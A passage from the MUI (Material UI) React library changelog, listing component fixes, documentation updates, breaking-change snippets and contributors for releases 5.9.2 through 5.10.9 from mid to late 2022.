alpha zero (#34424) @joserodolfofreitas\n- [docs] Improve Joy UI tutorial demo (#34653) @oliviertassinari\n- [docs] Explain how SelectUnstyled renders a hidden input (#34638) @michaldudak\n- [docs] Fix Taiwan description (#34611) @oliviertassinari\n- [docs] Fix codesandbox export with dayjs (#34619) @oliviertassinari\n- [docs] Explain the purpose of renderGroup prop (#34066) @michaldudak\n\n### Core\n\n- [core] Make useForkRef variadic (#27939) @michaldudak\n- [core] Speedup of yarn install in the CI (#34632) @oliviertassinari\n- [core] Fix markdown loader on Windows (#34623) @michaldudak\n- [core] Update changelog for version v5.10.8 (#34593) @mnajdova\n- [core] Update root package.json version (#34592) @mnajdova\n\nAll contributors of this release in alphabetical order: @HexM7, @joserodolfofreitas, @kushagra010, @michaldudak, @mnajdova, @oliviertassinari, @vanyaxk\n\n## 5.10.8\n\n<!-- generated comparing v5.10.7..master -->\n\n_Oct 3, 2022_\n\nA big thanks to the 18 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 [SnackbarUnstyled](https://v6.mui.com/base-ui/react-snackbar/) component & headless hook are added to Base UI (#33227) @ZeeshanTamboli\n- 📚 [CSS variables documentation](https://mui.com/material-ui/experimental-api/css-theme-variables/overview/) for Material UI has been added by @siriwatknp (#33958)\n- And more 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.10.8`\n\n- [Autocomplete] Skip filtering when list of options is loading (#33278) @ndebeiss\n- [Fab] Add `disabled` class to FAB button (#34245) @meenarama\n- [l10n] Add Arabic Saudi Arabia (ar-SA) locale (#33340) @rolule\n- [l10n] zhTW refinement (#33391) @Aporim2051\n- [Popover] Add `ownerState` on the paper slot (#34445) @kabernardes\n- [Slider] Fixed incorrect marks displayed due to duplicate keys in range (#33526) @kskd1804\n- [TextField] Fix typo in FormControlLabel declaration file (#34535) @hghmn\n\n### `@mui/base@5.0.0-alpha.100`\n\n- [SnackbarUnstyled] Create component and `useSnackbar` hook (#33227) @ZeeshanTamboli\n\n### `@mui/joy@5.0.0-alpha.48`\n\n- [Joy] Fix `variantPlain` classname missing in few components (#34534) @hbjORbj\n- [Joy] Fix input decorator color and list padding (#34586) @siriwatknp\n- [Joy] Miscellaneous fixes (#34492) @siriwatknp\n\n### Docs\n\n- [blog] Fix 404 link in base introduction @oliviertassinari\n- [docs] Fix CI build (#34589) @mnajdova\n- [docs] Temporary remove date picker from home page (#34541) @siriwatknp\n- [docs] Revise and expand Joy UI \"Tutorial\" doc (#34569) @samuelsycamore\n- [docs] Fix SEO issues (#34537) @oliviertassinari\n- [docs] Add CSS variables documentation for Material UI (#33958) @siriwatknp\n- [docs] Capitalize Material Design on the Breakpoints page (#34481) @Dustin-Digitar\n- [docs] Able to load doc components inside markdown files (#34243) @flaviendelangle\n- [docs] Use mouse pointer on esc button in the search modal (#34485) @minkyngkm\n\n### Core\n\n- [core] Update root package.json version (#34592) @mnajdova\n- [core] Remove useless comment in fixtures (#34581) @Garz4\n- [core] Fix link to CODE_OF_CONDUCT.md (#34543) @peippo\n- [core] Remove outdated docsearch.js dependency (#34421) @oliviertassinari\n- [core] Add `newFeature` to the typing of MuiPage (#34511) @flaviendelangle\n\nAll contributors of this release in alphabetical order: @Aporim2051, @Dustin-Digitar, @flaviendelangle, @Garz4, @hbjORbj, @hghmn, @kabernardes, @kskd1804, @meenarama, @minkyngkm, @mnajdova, @ndebeiss, @oliviertassinari, @peippo, @rolule, @samuelsycamore, @siriwatknp, @ZeeshanTamboli\n\n## 5.10.7\n\n<!-- generated comparing v5.10.6..master -->\n\n_Sep 26, 2022_\n\nA big thanks to the 21 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 [Divider](https://mui.com/joy-ui/react-divider/) component is added to Joy UI (#34403) @siriwatknp\n\n### `@mui/material@5.10.7`\n\n- [CssVarsProvider] Exclude dark mode variables from `:root` stylesheet (#34131) @siriwatknp\n- [Chip] Add chip classes (#33801) @pratikkarad\n- [Slider] Fix typo in the comments in the source (#34452) @HexM7\n- [SvgIcon] Fix passing an ownerState to SvgIcon changes the font size (#34429) @ZeeshanTamboli\n- [Stepper] Fix optional label is not centered when `alternativeLabel` is used (#34335) @ZeeshanTamboli\n- [Tooltip] Add undefined, null or false in `title` (#34289) @abhinav-22-tech\n- Make @emotion/\\* fully supported in all Material UI components (#34451) @garronej\n\n### `@mui/system@5.10.7`\n\n- [system] Fix parsing of hsla colors in getLuminance (#34437) @ptrfrncsmrph\n- [system] Fix incorrect type of `shape.borderRadius` in theme (#34076) @ZeeshanTamboli\n- [system] Replace `enableSystem` with `defaultMode` (#33960) @siriwatknp\n\n### `@mui/material@5.0.0-alpha.101`\n\n- [deps] Move @mui/types to dependencies (#34384) @Methuselah96\n\n### `@mui/base@5.0.0-alpha.99`\n\n#### Breaking changes\n\n- [FocusTrap] Rename TrapFocus to FocusTrap (#34216) @kabernardes\n\n  ```diff\n  -import TrapFocus from '@mui/base/TrapFocus';\n  +import FocusTrap from '@mui/base/FocusTrap';\n  ```\n\n#### Changes\n\n- [MultiSelect] Require a single tap to select an item on mobile Chrome (#33932) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.47`\n\n- [Checkbox] spread `value`, `required`, and `readOnly` to input (#34477) @siriwatknp\n- [Chip] Fix unbinded `onClick` prop (#34455) @HexM7\n- [Divider] Add `Divider` component (#34403) @siriwatknp\n- [Radio] spread `readOnly` and `required` to input (#34478) @siriwatknp\n\n### Docs\n\n- [blog] Base UI announcement typo fixed (#34409) @prakhargupta1\n- [blog] Fix typo in date-pickers v5 stable (#34386) @alexfauquette\n- [blog] Update date on date pickers v5 release blog post (#34406) @joserodolfofreitas\n- [docs] Update `useMenu` and `useMenuItem` hooks demo (#34166) @ZeeshanTamboli\n- [docs] Update the guide for migrating to TSS (#34417) @garronej\n- [docs] Fix typo in `Grid` docs (#34475) @Dustin-Digitar\n- [docs] Fix typo in `Back to top` section in AppBar docs (#34479) @Dustin-Digitar\n- [docs] Standardize all \"Installation\" pages (#34168) @samuelsycamore\n- [docs] Fix webpack file name to the standard: `webpack.config.js` (#34446) @CodingItWrong\n- [docs] Fix Select `onChange` call (#34408) @siriwatknp\n- [docs] Notification for pickers blog - v5 stable (#34400) @joserodolfofreitas\n- [docs] Improve social sharing of docs pages (#34346) @oliviertassinari\n- [docs] Refine the use of MUI vs. Material UI (#34345) @oliviertassinari\n- [docs] Send feedback directly to a dedicated slack channel (#34196) @alexfauquette\n\n### Core\n\n- [core] Document some types in @mui/styled-engine-sc (#34413) @mnajdova\n- [core] Add yml support to prettier (#33980) @Janpot\n\nAll contributors of this release in alphabetical order: @abhinav-22-tech, @alexfauquette, @CodingItWrong, @Dustin-Digitar, @garronej, @HexM7, @howlettt, @Janpot, @joserodolfofreitas, @kabernardes, @MBilalShafi, @Methuselah96, @michaldudak, @mnajdova, @oliviertassinari, @prakhargupta1, @pratikkarad, @ptrfrncsmrph, @samuelsycamore, @siriwatknp, @ZeeshanTamboli\n\n## 5.10.6\n\n<!-- generated comparing v5.10.5..master -->\n\n_Sep 19, 2022_\n\nA big thanks to the 11 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.10.6`\n\n- [TextField] Fix conflict with `Bootstrap` even when label is not defined (#34343) @ZeeshanTamboli\n\n### `@mui/joy@5.0.0-alpha.46`\n\n#### Breaking changes\n\n- [button][joy] Replace `start/endIcon` prop with `start/endDecorator` (#34288) @hbjORbj\n\n  **BREAKING CHANGE**: replace `start/endIcon` with `start/endDecorator`.\n\n  ```jsx\n  // before\n  <Button startIcon={...} endIcon={...} />\n\n  // after\n  <Button startDecorator={...} endDecorator={...} />\n  ```\n\n#### Changes\n\n- [Joy] Adjust the `Input` and `Textarea` styles (#34281) @siriwatknp\n- [menu][joy] Set disablePortal default to false (#34283) @tomasz-sodzawiczny\n\n### `@mui/base@5.0.0-alpha.98`\n\n#### Breaking changes\n\n- [Select][base] Add event parameter to the onChange callback (#34158) @michaldudak\n\n  The SelectUnstyled and MultiSelectUnstyled `onChange` callbacks did not have event as the first parameter, leading to inconsistency with other components and native HTML elements.\n  This PR adds the event parameter as the first one and moves the newly selected value to the second position. Because of this, it's a breaking change.\n  This also affects Select from Joy UI.\n\n  ```jsx\n  // before\n  <SelectUnstyled onChange={(newValue) => { /* ... */ }} />\n\n  // after\n  <SelectUnstyled onChange={(event, newValue) => { /* ... */ }} />\n  ```\n\n### Docs\n\n- [blog] The Date Pickers gets a stable v5 release (#34152) @alexfauquette\n- [blog] Improve image handling (#34222) @oliviertassinari\n- [blog] Correct 2021 survey data interpretation (#34291) @samuelsycamore\n- [docs] Remove expired AospExtended showcase @oliviertassinari\n- [docs] Link the OpenSSF Best Practices card (#34331) @oliviertassinari\n- [docs] Fix 301 link to external projects @oliviertassinari\n- [docs] Move 12 component names to Title Case (#34188) @oliviertassinari\n- [docs] Fix broken links (#34320) @alexfauquette\n- [docs] Add notification for Base UI announcement post (#34295) @samuelsycamore\n\n### Core\n\n- [core] Lock file maintenance (#34161) @renovate[bot]\n- [core] Issue template: move reproduction steps to the top (#34279) @Janpot\n- [core] Create shared Next.js baseline config (#34259) @oliviertassinari\n- [core] In `typescript-to-proptypes`, respect the value pass to the generic (#34311) @flaviendelangle\n\nAll contributors of this release in alphabetical order: @alexfauquette, @flaviendelangle, @hbjORbj, @Janpot, @michaldudak, @oliviertassinari, @renovate[bot], @samuelsycamore, @siriwatknp, @tomasz-sodzawiczny, @ZeeshanTamboli\n\n## 5.10.5\n\n<!-- generated comparing v5.10.4..master -->\n\n_Sep 12, 2022_\n\nA big thanks to the 12 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 [Blog post](https://mui.com/blog/introducing-base-ui/) for announcing the release of the Base UI package is out thanks to @michaldudak.\n- 🚀 Added [`Alert`](https://mui.com/joy-ui/react-alert/), [`Modal`](https://mui.com/joy-ui/react-modal/), [`ListSubheader`](https://mui.com/joy-ui/react-list-subheader/), [`FormControl`](https://mui.com/joy-ui/react-form-control/), [`CircularProgress`](https://mui.com/joy-ui/react-circular-progress/) components to Joy UI (#33859) @hbjORbj @siriwatknp\n- And more 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.10.5`\n\n- [ListItemText] Fix variant mapping in `primaryTypography` (#33880) @iamxukai\n- [Timeline] Add left and right aligned timeline demos in docs (#34156) @ZeeshanTamboli\n\n### `@mui/joy@5.0.0-alpha.45`\n\n- [Joy UI] Add `CircularProgress` component (#33869) @hbjORbj\n- [Joy UI] Add `FormControl` component (#34187) @siriwatknp\n- [Joy UI] Add `ListSubheader` component (#34191) @siriwatknp\n- [Joy UI] Add `Modal` component (#34043) @siriwatknp\n- [Joy] Fix list value of false or 0 (zero) text is incorrectly grey (#34255) @kushagra010\n- [Joy] Adjust typography decorator margin (#34257) @siriwatknp\n- [Joy] Miscellaneous fixes (#34193) @siriwatknp\n- [Radio][joy] Integrate with form control (#34277) @siriwatknp\n- [Joy][textarea] Pass `textarea` props from `componentsProps` (#34223) @HexM7\n\n### Docs\n\n- [blog] Introducing Base UI (#33778) @michaldudak\n- [docs] Fix spelling error (#34209) @ChrystianDeMatos\n- [docs] Improve link to the security policy (#34219) @oliviertassinari\n- [docs] Fix typo in Joy UI's `Usage` docs (#34200) @zillion504\n\n### Core\n\n- [test] Replace argos-cli with @argos-ci/core (#34178) @michaldudak\n- [core] Create a script to generate codeowners (#34175) @michaldudak\n- [core] Add RFC GH issue template (#33871) @bytasv\n\nAll contributors of this release in alphabetical order: @bytasv, @ChrystianDeMatos, @hbjORbj, @HexM7, @iamxukai, @kushagra010, @LukasTy, @michaldudak, @oliviertassinari, @siriwatknp, @ZeeshanTamboli, @zillion504\n\n## 5.10.4\n\n<!-- generated comparing v5.10.3..master -->\n\n_Sep 5, 2022_\n\nA big thanks to the 11 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 Added [`Alert`](https://mui.com/joy-ui/react-alert/) component to Joy UI (#33859) @hbjORbj\n- Many other 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements\n\n### `@mui/material@5.10.4`\n\n- [Avatar] Use structured / semantic markup for avatars and avatar groups (#33994) @paulschreiber\n- [Steps] Use structured / semantic markup for steps and steppers (#34138) @paulschreiber\n\n### `@mui/joy@5.0.0-alpha.44`\n\n- [Alert][joy] Add `Alert` component (#33859) @hbjORbj\n- [Joy] Make the description of `componentsProps` generic (#34140) @hbjORbj\n- [Joy] Add tests / classes for `Breadcrumbs` component (#33860) @hbjORbj\n- [Select][joy] Fix forwarding listbox `component` prop (#34172) @siriwatknp\n\n### `@mui/base@5.0.0-alpha.96`\n\n- [Select][base] Fix type issues that appeared with TS 4.8 (#34132) @michaldudak\n\n### Docs\n\n- [docs] Add `mui-color-input`, `mui-chips-input` and `mui-tel-input` into the related projects page (#34123) @viclafouch\n- [docs] Update sponsors (#34157) @hbjORbj\n- [docs] Move 5 component names to Title Case (#34118) @oliviertassinari\n- [docs] Fix the color contrast on optional API methods (#34127) @oliviertassinari\n- [docs] Fix crash due to using wrong variable (#34171) @siriwatknp\n- [docs] Fix a few Base typos (#33986) @ropereraLK\n- [docs] Revise Joy UI \"Overview\" page copy (#34087) @samuelsycamore\n- [blog] Fix social cards (#34160) @oliviertassinari\n\n### Core\n\n- [core] Move renovate config to the repository root (#34180) @oliviertassinari\n- [core] Reinstate react/no-unused-prop-types ESLint rule (#34125) @Janpot\n- [core] Do not append `types` field to packages without index.d.ts (#33952) @michaldudak\n- [core] Sanitize input in icon synonyms update script (#33989) @michaldudak\n- [test] Allow to pass options to `mousePress` function (#34124) @cherniavskii\n\nAll contributors of this release in alphabetical order: @cherniavskii, @DanailH, @hbjORbj, @Janpot, @michaldudak, @oliviertassinari, @paulschreiber, @ropereraLK, @samuelsycamore, @siriwatknp, @viclafouch\n\n## 5.10.3\n\n<!-- generated comparing v5.10.2..master -->\n\n_Aug 29, 2022_\n\nA big thanks to the 16 contributors who made this release possible. Here are some highlights ✨:\n\n- ⚡ @mnajdova implemented an alternative to OverridableComponent to achieve better dev-time performance (#32735)\n- Many other 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements\n\n### `@mui/material@5.10.3`\n\n- [Autocomplete][material] Fix value overflow when `disableClearable` is used (#34053) @mnajdova\n- [Autocomplete] Update unstyled demo to not import Material UI (#34060) @oliviertassinari\n- [Slider] Remove SliderInput export from d.ts (#34055) @pieetrus\n- [TablePagination] Fix select variant not working (#33974) @ZeeshanTamboli\n\n### `@mui/system@5.10.3`\n\n- [system] Fix mode blink when open multiple sessions (#33877) @siriwatknp\n\n### `@mui/base@5.0.0-alpha.95`\n\n- [Button][base] Prevent too many ref updates (#33882) @michaldudak\n- [Select][base] Fix typo in listbox blur event handler (#34120) @ZeeshanTamboli\n- [FocusTrap] Improve tab test and simplify demo (#34008) @EthanStandel\n\n### `@mui/joy@5.0.0-alpha.43`\n\n- [Joy] Fix `role` proptypes (#34119) @siriwatknp\n- [Joy] Refine `componentsProps` for all components (#34077) @siriwatknp\n- [Radio][joy] support `componentsProps` as a function (#34022) @siriwatknp\n- [Select][joy] Improve the a11y on the select field demo (#34073) @mnajdova\n- [Textarea][joy] Add `Textarea` component (#33975) @siriwatknp\n\n### Docs\n\n- [blog] Add Grid v2 announcement (#33926) @siriwatknp\n- [blog] Making customizable components (#33183) @alexfauquette\n- [blog] Improve SEO metadata (#33954) @oliviertassinari\n- [docs] Add introduction Base component demos & general uplift (#33896) @danilo-leal\n- [docs] Fix Gatsby sample config in CSS variables (#34024) @bicstone\n- [docs] Fix 404 link from Joy to React Router (#34115) @oliviertassinari\n- [docs] Fix typo in `Select` component (#34091) @HexM7\n- [docs] Fix 301 links to tss's docs @oliviertassinari\n- [docs] Fixing Joy UI usage snippet (#34049) @JonathanAsbury-SPS\n- [docs] Fix missing JSX closing tag in Tooltip docs (#34064) @hoangph271\n\n### Core\n\n- [core] Offer alternative to `OverridableComponent` via module augmentation for better performance (#32735) @mnajdova\n- [core] Fix prop-type warning in regression tests (#34086) @oliviertassinari\n- [core] Specify code owners (#33995) @michaldudak\n- [core] Fix scroll restoration (#34037) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @alexfauquette, @bharatkashyap, @bicstone, @danilo-leal, @EthanStandel, @HexM7, @hoangph271, @JonathanAsbury-SPS, @michaldudak, @mnajdova, @NaveenPantra, @oliviertassinari, @pieetrus, @renovate[bot], @siriwatknp, @ZeeshanTamboli\n\n## 5.10.2\n\n<!-- generated comparing v5.10.1..master -->\n\n_Aug 22, 2022_\n\nA big thanks to the 11 contributors who made this release possible. Here are some highlights ✨:\n\n- ✨ @michaldudak synced the Material Icons set with the latest from Google (#33988).\\\n  A couple of icons changed their appearance. See the difference [on this Argos build](https://app.argos-ci.com/mui/material-ui/builds/4428]).\n\n### `@mui/material@5.10.2`\n\n- [Autocomplete] Fix `keepMounted` Popper prop not working (#33957) @ZeeshanTamboli\n- [IconButton] Fix hover effect when CSS Variables are enabled (#33971) @TheUnlocked\n- [LoadingButton] Add support for CSS variables (#34001) @ZeeshanTamboli\n- [TimelineConnector] Add support for CSS variables (#34002) @ZeeshanTamboli\n- [TimelineDot] Add support for CSS variables (#34003) @ZeeshanTamboli\n- [TreeItem] Add support for CSS variables (#34004) @ZeeshanTamboli\n\n### `@mui/system@5.10.2`\n\n- [system] catch localStorage errors (#34027) @jsakas\n\n### `@mui/joy@5.0.0-alpha.42`\n\n- [Joy] Add missing global exports (#33982) @tomasz-sodzawiczny\n\n### `@mui/icons-material@5.8.5`\n\n- [icons] Sync the Material Icons (#33988) @michaldudak\n\n### Docs\n\n- [docs] Fix typo in using-joy-ui-and-material-ui.md (#33997) @djohalo2 @danilo-leal\n- [docs] Fix typo in the Transition docs (#34040) @alirezahekmati\n- [docs] Typo fix in Joy UI Aspect Ratio doc (#33984) @AjeetSingh2016\n- [docs] Fix broken Joy UI codesandbox export (#34007) @oliviertassinari\n- [docs] Fix typos in `test` folder's README (#33976) @ropereraLK\n- [docs] Fix interior section links in Base docs that feature hooks (#33948) @samuelsycamore\n- [docs] Fix typo in Joy UI's List Component docs (#33956) @Cerebro92\n- [docs] Fix typo in Joy UI's docs (#33938) @AjeetSingh2016\n\n### Core\n\n- Revert \"[core] Replace `getInitialProps` with `getStaticProps`\" (#33991) @mnajdova\n\nAll contributors of this release in alphabetical order: @AjeetSingh2016, @alirezahekmati, @Cerebro92, @danilo-leal, @djohalo2, @jsakas, @michaldudak, @mnajdova, @oliviertassinari, @ropereraLK, @samuelsycamore, @TheUnlocked, @tomasz-sodzawiczny, @ZeeshanTamboli\n\n## 5.10.1\n\n<!-- generated comparing v5.10.0..master -->\n\n_Aug 15, 2022_\n\nA big thanks to the 18 contributors who made this release possible. This release was mostly around 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.10.1`\n\n- [TableCell] Enable variant overrides via TypeScript module augmentation (#33856) @arjunvijayanathakurup\n\n### `@mui/system@5.10.1`\n\n- [system] Fix `ContainerProps` export (#33923) @bugzpodder\n\n### `@mui/base@5.0.0-alpha.93`\n\n- [FocusTrap] Removes invisible tabbable elements from (#33543) @EthanStandel\n- [Input][base] Pass the rows prop to the underlying textarea (#33873) @michaldudak\n- [SelectUnstyled] Add ability to post the select's value when submitting a form (#33697) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.41`\n\n- [IconButton][joy] Fix large IconButton scaling (#33885) @cherewaty\n\n### Docs\n\n- [docs] Expand on a11y section for Material UI `Link` component (#32839) @TKrishnasamy\n- [docs] Fix typo in Joy UI's `AspectRatio` docs (#33895) @IsaacInsoll\n- [docs] Improve the Base Usage page (#33272) @samuelsycamore\n- [docs] Avoid refreshing the page when button on demo is clicked (#33852) @PunitSoniME\n- [docs] Improve the HorizontalNonLinearStepper demo styling (#33886) @hayawata3626\n- [docs] Remove dead NoSsr in the demos (#33910) @oliviertassinari\n- [docs] Fix the reopening menu problem in MenuUnstyled demo (#33890) @michaldudak\n- [docs] Fix a few link issues (#33909) @oliviertassinari\n- [docs] Explain the icons package dependencies (#33592) @michaldudak\n- [docs] Fix reported SEO issues (#33818) @oliviertassinari\n- [docs] Add permanent notifications back (#33843) @oliviertassinari\n- [docs] Enforce description for all pages (#33698) @oliviertassinari\n- [docs] Clarify difference in startup times between named and default imports (#33109) @cmdcolin\n- [docs] Update transform function in the sx prop sizing docs (#33850) @ZeeshanTamboli\n- [docs] Adding missing accessibility labels (#33782) @PunitSoniME\n- [docs] Fix `/system/getting-started/advanced/` does not exist (#33867) @MonstraG\n- [docs] New Crowdin updates (#32213) @l10nbot\n- [examples] Fix broken path to favicon.ico (#33906) @mmostafavi\n\n### Core\n\n- [core] Add the download tracker package (#33899) @michaldudak\n- [core] Use proper external build id for Argos uploads (#33929) @cherniavskii\n- [core] Enforce 70 as the max width on the title on the docs (#33819) @oliviertassinari\n- [core] Clear yarn installation warning (#33776) @michaldudak\n- [core] Bump yarn to 1.22.19 (#33656) @michaldudak\n- [core] Remove outdated Next.js options (#33845) @oliviertassinari\n- [core] Add the download tracker build script (#33941) @michaldudak\n\nAll contributors of this release in alphabetical order: @arjunvijayanathakurup, @bugzpodder, @cherewaty, @cherniavskii, @cmdcolin, @danilo-leal, @EthanStandel, @hayawata3626, @IsaacInsoll, @l10nbot, @michaldudak, @mmostafavi, @MonstraG, @oliviertassinari, @PunitSoniME, @samuelsycamore, @TKrishnasamy, @ZeeshanTamboli\n\n## 5.10.0\n\n<!-- generated comparing v5.9.3..master -->\n\n_Aug 8, 2022_\n\nA big thanks to the 16 contributors who made this release possible. Here are some highlights ✨:\n\n- ✨ [Stack](https://mui.com/system/react-stack/) component is added to MUI System and Joy UI #33760 #33800 @mnajdova\n- ✨ [Breadcrumbs](https://mui.com/joy-ui/react-breadcrumbs/) component is added to Joy UI (#32697) @hbjORbj\n- Many other 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements\n\n### `@mui/material@5.10.0`\n\n- [Grid] Prevent crash if spacing is set to zero in theme (#33777) @PunitSoniME\n- [Grid] Export interface `RegularBreakpoints` to fix type error (#33751) @ZeeshanTamboli\n- [Skeleton] Add `rounded` variant (#33687) @siriwatknp\n- [Stepper] Fix classes for icon container (#33734) @pratikkarad\n- [TableCell] Enable size prop overrides via module augmentation (#33816) @brentertz\n- [Tooltip] Fix tooltip arrow css var background (#33753) @TimoWilhelm\n- [useScrollTrigger] Add passive flag to scroll trigger event listener #32437 (#33749) @Dsalazar1685\n\n### `@mui/system@5.10.0`\n\n- Fix unnecessary styles created from `sx` (#33752) @siriwatknp\n- Fix duplicated styles in Box (#33774) @iamxukai\n- Don't spread props to DOM for string tags (#33761) @siriwatknp\n- Add `Stack` component (#33760) @mnajdova\n\n### `@mui/joy@5.0.0-alpha.40`\n\n- [Stack] Add new component (#33800) @mnajdova\n- [Breadcrumbs] Add `Breadcrumbs` component (#32697) @hbjORbj\n- [Card] Fix wrong api description for `size` prop (#33862) @hbjORbj\n- Miscellaneous fixes (#33796, #33750) @siriwatknp\n\n### Docs\n\n- [docs] Create, revise, and expand System \"Getting started\" docs (#33503) @samuelsycamore\n- [docs] Test new image best practice @oliviertassinari\n- [docs] Fix typo in the ClickAwayListerner name (#33813) @pawelsmigielski\n- [docs] Fix link to `Basics` section in `Trap Focus` docs (#33772) @ZeeshanTamboli\n- [docs] z-index added in popper when used by split button (#33763) @PunitSoniME\n- [docs] Improve the guide for using @mui/base with Tailwind CSS (#33670) @mnajdova\n- [docs] Fix warnings related to Next.js' links (#33693) @mnajdova\n- [docs] Add notification to aggregation blogpost (#33745) @joserodolfofreitas\n- [docs] Add Grid version 2 docs (#33554) @siriwatknp\n- [examples] Fix `NextLinkComposedProps` type error (#33842) @adham618\n\n### Core\n\n- [blog] Add social card to Tenerife retreat post (#33764)\n- [blog] Fix blue outline bug (#33707) @oliviertassinari\n- [blog] Improve the width of the layout (#33706) @oliviertassinari@samuelsycamore\n- [core] Remove unnecessary packageName attribute from pages (#33488) @cherniavskii\n- [core] Remove duplicated CODE_OF_CONDUCT (#33702) @oliviertassinari\n- [core] Update Playwright packages together (#33737) @michaldudak\n\nAll contributors of this release in alphabetical order: @adham618, @brentertz, @cherniavskii, @Dsalazar1685, @hbjORbj, @iamxukai, @joserodolfofreitas, @michaldudak, @mnajdova, @oliviertassinari, @pawelsmigielski, @pratikkarad, @PunitSoniME, @siriwatknp, @TimoWilhelm, @ZeeshanTamboli\n\n## 5.9.3\n\n<!-- generated comparing v5.9.2..master -->\n\n_Aug 1, 2022_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n- 🖼️ @garronej worked on improving the support of Emotion packages in MUI System (#33205)\n- Many other 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements\n\n### `@mui/material@5.9.3`\n\n- [Chip] Assign classnames and associated styles for `filled` variant (#33587) @hbjORbj\n- [Grid] Fix `columnSpacing` and `rowSpacing` props ignore higher breakpoints with 0 (#33480) @ZeeshanTamboli\n- [Input] Add the readOnly state class (#33654) @michaldudak\n- [Stack] Responsive styles based on breakpoints should be in the correct order (#33552) @hbjORbj\n\n### `@mui/system@5.9.3`\n\n- [system] Make @emotion/\\* fully supported in MUI System (#33205) @garronej\n\n### `@mui/codemod@5.9.3`\n\n- [codemod] Fix theme-spacing performance (#33691) @siriwatknp\n- [codemod] Support @mui import for variant-prop (#33692) @siriwatknp\n\n### `@mui/styled-engine-sc@5.9.3`\n\n- [styled-engine-sc] Add missing @babel/runtime dependency (#33741) @MonstraG\n\n### `@mui/joy@5.0.0-alpha.38`\n\n- [Joy] Add Tabs components (#33664) @siriwatknp\n- [Joy] Miscellaneous fixes (#33685) @siriwatknp\n- [Joy] Update read.me content (#33643) @danilo-leal\n\n### Docs\n\n- [blog] Add blog post about company retreat in Tenerife 🏝 (#33566) @samuelsycamore\n- [blog] Add blog post to announce the aggregation feature (#33595) @joserodolfofreitas\n- [blog] Fix horizontal scrollbar with code snippets (#33648) @joserodolfofreitas\n- [docs] Fix a typo in the code in `Sorting & selecting` Table demo (#33674) @mracette\n- [docs] Fix en-US format in the Skeleton demo (#33699) @husseinsaad98\n- [docs] Update module reference for `usePagination` (#33675) @fullstackzach\n- [docs] Fix code examples in `styled` API vs `sx` prop docs (#33665) @ZeeshanTamboli\n- [docs][system] Throw an informative error when `theme.vars` is used in `createTheme()` and mention this in the theming docs (#33619) @hbjORbj\n\n### Core\n\n- [core] Replace `getInitialProps` with `getStaticProps` (#33684) @mnajdova\n- [core] Remove accidentally added files (#33636) @michaldudak\n- [core] Update packages with security issues (#33679) @michaldudak\n- [core] Add React 17 nightly build (#33594) @mnajdova\n- [core] Update lerna to 5.2.0 (#33635) @michaldudak\n- [core] Prepare isolation of Next.js X app (#33649) @oliviertassinari\n- [core] Remove thenify version override from package.json resolutions (#33638) @michaldudak\n- [core] Update Node.js to 14 on CircleCI, CodeSandbox, and Netlify (#33642) @michaldudak\n- [test] Replace istanbul-instrumenter-loader with babel-plugin-istanbul (#33666) @michaldudak\n- [test] Run TypeScript module augmentation tests for Joy UI in CI (#33667) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @cherniavskii, @danilo-leal, @fullstackzach, @garronej, @hbjORbj, @husseinsaad98, @joserodolfofreitas, @michaldudak, @mnajdova, @MonstraG, @mracette, @oliviertassinari, @samuelsycamore, @siriwatknp, @ZeeshanTamboli\n\n## 5.9.2\n\n<!-- generated comparing v5.9.1..master -->\n\n_Jul 25, 2022_\n\nA big thanks to the 16 contributors who made this release possible. Here are some highlights ✨:\n\n- 🧪 Ensure all Base components are `OverridableComponent` (#33506) @michaldudak\n- 🧪 Various improvements on the Material `Stack` component (#33548, #33588, #33549) @hbjORbj\n- Many other 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.9.2`\n\n- Revert \"[Tooltip] Fix children mouse over detection (#32321)\" @oliviertassinari\n- [FormHelperText] Fix unable to create new variants (#33589) @DinhBaoTran\n- [ImageList] Remove vertical spacing between items in masonry layout (#33593) @michaldudak\n- [LoadingButton] Refactor duplicate code (#33570) @ZeeshanTamboli\n- [Modal] Explain the meaning of deprecation of the BackdropComponent prop (#33591) @michaldudak\n- [Stack] Fix unit test failure (#33588) @hbjORbj\n- [Stack] Fix default `flexDirection` value with responsive prop (#33549) @hbjORbj\n- [Stack] Ensure that `marginundefined` doesn't occur in styling (#33548) @hbjORbj\n- [Tabs] Fix `indicatorColor` prop type (#33569) @ZeeshanTamboli\n- [Tabs] Add TypeScript interface to augment tab indicator color in theme (#33333) @AHeiming\n\n### `@mui/base@5.0.0-alpha.91`\n\n- [Base] Make PopperUnstyled `component` overridable (#33573) @siriwatknp\n- [Base] Ensure all components are OverridableComponent (#33506) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.38`\n\n- [Select] Add new component in Joy (#33630) @siriwatknp\n- [Joy] Add Text field documentation (#33430, #33631) @danilo-leal\n- [Joy] Add menu components (#31789) @siriwatknp\n\n### Docs\n\n- [blog] Fix 404 link to Algolia docs search (dd4308d) @oliviertassinari\n- [docs] Add accessibility tips (#33633) @siriwatknp\n- [docs] Fix production deploy of codesandboxes (#33608) @oliviertassinari\n- [docs] Show border on `palette.background.paper` in dark mode docs (#33611) @ZeeshanTamboli\n- [docs] Fix typo in Joy UI dark mode page (#33620) @bairamau\n- [docs] Final polish on Base docs - formatting and style consistency (#33156) @samuelsycamore\n- [docs] Fix `CssBaseline` import in example code (#33614) @dd-ssc\n- [docs] Fix Toolpad docs redirection (#33524) @bharatkashyap\n- [docs] Fix link to Snackbar customization section in Alert docs (#33586) @ZeeshanTamboli\n- [docs] Fix `placement choices` typo in Tooltip docs (#33571) 